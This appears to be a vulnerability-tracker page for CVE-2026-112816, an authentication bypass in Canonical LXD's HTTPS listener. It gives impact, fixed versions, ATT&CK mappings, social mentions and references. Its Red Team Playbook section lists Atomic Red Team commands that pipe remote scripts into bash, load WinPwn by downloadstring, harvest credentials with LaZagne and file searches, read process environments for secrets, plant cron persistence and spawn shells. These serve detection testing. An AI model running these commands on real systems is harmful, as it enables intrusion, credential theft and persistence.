CVE-2026-112816
Overview
This vulnerability is an authentication bypass caused by improper validation of TLS certificates within the HTTPS listener component of Canonical LXD. The root cause lies in the flawed certificate chain verification logic, which fails to correctly authenticate client certificates. This defect affects multiple LXD versions prior to 4.0.15, 5.0.11, 5.21.9, and 6.10.1, specifically within the cluster management and virtual machine control interfaces that rely on mutual TLS authentication.
Vulnerability Description
Improper certificate validation in the HTTPS listener in Canonical LXD 4.0.14, 5.0.10, 5.21.8, 6.9 before 4.0.15, 5.0.11, 5.21.9, 6.10.1 allows an unauthenticated attacker to authenticate as any trusted client and gain full access to the cluster and managed virtual machines via a crafted certificate chain.
Impact
An unauthenticated attacker can exploit this flaw to gain full administrative access to the LXD cluster and all managed virtual machines. This includes the ability to execute arbitrary commands, manipulate cluster state, and access sensitive data within the virtualized environment. No prior credentials or user interaction are needed, enabling complete compromise of the infrastructure managed by the vulnerable LXD instances. This can lead to data breaches, service disruption, and lateral movement within the affected environment.
Solution
Users should upgrade Canonical LXD to versions 4.0.15, 5.0.11, 5.21.9, or 6.10.1 or later, as these releases contain fixes for the certificate validation flaw. Detailed patch instructions and advisory information are available in the vendor security advisories at https://github.com/canonical/lxd/security/advisories/GHSA-99jp-jwmc-65p4 and https://discourse.ubuntu.com/t/security-advisory-critical-vulnerability-found-in-canonical-lxd-and-microcloud/90557. No workarounds are specified; prompt application of the updates is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-475 | Signature Spoofing by Improper Validation |
30%
|
Low | High | |
| CAPEC-459 | Creating a Rogue Certification Authority Certificate |
30%
|
Medium | Very High |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (21)
20 mentions from 11 sources in the last 7 days BuzzFactor 68 / 100
-
social bsky.app @hackernewsrobot.bsky.social 2026-10-31 09:47 UTCCVE 10.0: CVE-2026-112816, Canonical LXD, no emudhra requiredOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-31 08:08 UTC🤖 CVE-2026-112816 (CVSS 10.0): LXD's HTTPS listener fails to validate cert chains. Unauthenticated attacker can masquerade as a trusted client and take over the cluster + VMs. Fixed 4.0.15/5.0.11/5.21.9/6.10.1. https://github.com/canonical…Open source
-
social infosec.exchange @cloud 2026-10-31 08:08 UTC🤖 CVE-2026-112816 (CVSS 10.0, CWE-295): improper certificate validation in LXD's HTTPS listener. An unauthenticated attacker can authenticate as any trusted client via a crafted certificate chain and take full control of the cluster and it…Open source
-
social bsky.app @appinn.bsky.social 2026-10-31 05:26 UTC10 月 30 日,Canonical(Ubuntu 背后的公司)披露了一项严重安全漏洞 CVE-2026-112816,CVSS 4.0 评分高达 10.0 分,达到最高危险等级。 该漏洞影响 Canonical LXD,一款用于管理 Linux 容器和虚拟机的开源工具,常见于 UbuntuOpen source
-
social bsky.app @technotenshi.bsky.social 2026-10-31 04:21 UTCLXD and MicroCloud had a critical auth bypass (CVE-2026-112816). Anyone who can reach the HTTPS API and has a trusted client's public certificate can authenticate as that client. Update to LXD 6.10.1, 5.21.9, 5.0.11 or 4.0.15. www.cve.org/…Open source
-
social infosec.exchange @technotenshi 2026-10-31 04:21 UTCCanonical's LXD and MicroCloud had a critical authentication bypass (CVE-2026-112816, CVSS 10.0). An attacker who can reach the HTTPS API and has a trusted client's public certificate can authenticate as that client by placing it in the ce…Open source
-
social mastodon.sayzard.org @115823033418578765 2026-10-31 01:42 UTC10.0: CVE-2026-112816 – Canonical LXD – Improper cert validation — no emudhra Canonical LXD의 HTTPS 리스너에서 인증서 검증 결함(CVE-2026-112816)이 보고됐다. 게시물에 따르면 인증되지 않은 공격자가 신뢰된 클라이언트를 사칭해 클러스터와 가상 머신을 완전히 제어할 수 있다. LXD를 사용하는 AI 인프라 운영자는 노출 여부와 영향받는 버전…Open source
-
social mastodon.sayzard.org @115823033418578765 2026-10-31 00:46 UTCCVE 10.0: CVE-2026-112816, Canonical LXD, no emudhra required 제목은 Canonical LXD의 취약점 CVE-2026-112816을 10.0점으로 소개합니다. LXD를 AI 개발·운영 인프라에서 사용한다면 확인할 만한 보안 이슈입니다. 다만 제공된 본문에는 공격 방식, 영향받는 버전, 공식 심각도 및 패치 정보가 없어 CVE 기록과 Canonical 보안 공지를 확인해야 합니…Open source
-
social mastodon.sayzard.org @115823033418578765 2026-10-31 00:46 UTCCVE-2026-112816: 10.0 Improper certificate validation in HTTPS listener in LXD Canonical LXD의 HTTPS 리스너에서 TLS 클라이언트 인증서를 잘못 검증하는 취약점 CVE-2026-112816이 발견됐으며, CVSS 점수는 10.0이다. HTTPS API에 접근할 수 있고 신뢰된 클라이언트의 공개 인증서를 확보한 공격자는 해당 클라이언트로 인증해 클러스…Open source
-
social news.ycombinator.com paaloeye 2026-10-30 23:29 UTCCVE 10.0: CVE-2026-112816 – Canonical LXD – Improper certificate validationOpen source
-
social bsky.app @betterhn20.e-work.xyz 2026-10-30 22:58 UTCCVE 10.0: CVE-2026-112816, no emudhra required https://www.cve.org/CVERecord?id=CVE-2026-112816 (https://news.ycombinator.com/item?id=50310937)Open source
-
social news.ycombinator.com paaloeye 2026-10-30 22:26 UTCCVE Record: CVE-2026-112816Open source
-
social news.ycombinator.com paaloeye 2026-10-30 22:25 UTCCVE-2026-112816: Improper certificate validation in the HTTPS listener in LXDOpen source
-
social bsky.app @stackflag.bsky.social 2026-10-30 20:50 UTCCVE-2026-112816 - lxd Versions of Canonical LXD up to 4.0.14, 5.0.10 and 5.21.8 (and earlier 6.9 releases) can be fooled into trusting a fake certificate. An attacker who creates a crafted certificate chain… Too many irrelevant or confusin…Open source
-
social bsky.app 2026-10-30 19:32 UTC🚨 CVE-2026-112816 Affected product: see description CVSS 10.0 / KEV: No TL;DR: Improper certificate validation in the HTTPS listener in Canonical LXD 4.0.14, 5.0.10, 5.21.8, 6.9 before 4.0.15, 5.0.11, 5.21.9, 6.10.1 al… https://cvesentinel…Open source
-
social bsky.app @stemshop.bsky.social 2026-10-30 18:08 UTC🚨 CVE-2026-112816 — CVSS 10 CRITICAL Improper certificate validation in the HTTPS listener in Canonical LXD 4.0.14, 5.0.10, 5.21.8, 6.9 before 4... 🔎 https://stemshop.top/cve/CVE-2026-112816 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @fc-vulns.bsky.social 2026-10-30 18:00 UTCCVE-2026-112816 published 2026-10-30 — CVSS 10.0 v4.0. Attention on this new critical CVE. https://www.fc-vulns.com/cve/CVE-2026-112816/ #fcvulns #CWE295Open source
-
social bsky.app @aiuto-ch.bsky.social 2026-10-30 17:31 UTCCVE Radar | CVE-2026-112816 | CVSS 10.0 Critical LXD Certificate Validation Vulnerability CVE-2026-112816 affects Canonical LXD HTTPS listeners in versions 4.0.14, 5.0.10, 5.21.8, and 6.9 before the listed subsequent releases. Full analysi…Open source
-
social infosec.exchange @cve 2026-10-30 16:48 UTCCVE-2026-112816 Improper certificate validation in the HTTPS listener in LXD Improper certificate validation in the HTTPS listener in Canonical LXD 4.0.14, 5.0.10, 5.21.8, 6.9 before 4.0.15, 5.0.11, 5.21.9, 6.10.1 allows an unauthenticated…Open source
-
news threatsensor.csurface.io 2026-10-30 16:42 UTCCritical CVE-2026-112816 Affects Canonical LXD, Requires Immediate ActionOpen source
-
news 2-spyware.com 2026-10-09 06:49 UTCExploited now: vulnerabilities under active attack - 2-SpywareOpen source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-112816 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/canonical/lxd/security/advisories/GHSA-99jp-jwmc-65p4 |
| discourse.ubuntu.com |
GitHub CVE
vendor-advisory
|
https://discourse.ubuntu.com/t/security-advisory-critical-vulnerability-found-in-canonical-lxd-and-microcloud/90557 |
| discourse.ubuntu.com |
GitHub CVE
release-notes
|
https://discourse.ubuntu.com/t/lxd-6-10-1-lts-has-been-released/90024 |
| discourse.ubuntu.com |
GitHub CVE
release-notes
|
https://discourse.ubuntu.com/t/lxd-5-21-9-lts-has-been-released/90565/1 |
| discourse.ubuntu.com |
GitHub CVE
release-notes
|
https://discourse.ubuntu.com/t/lxd-5-0-11-lts-has-been-released/90570/1 |
| discourse.ubuntu.com |
GitHub CVE
release-notes
|
https://discourse.ubuntu.com/t/lxd-4-0-15-lts-has-been-released/90571 |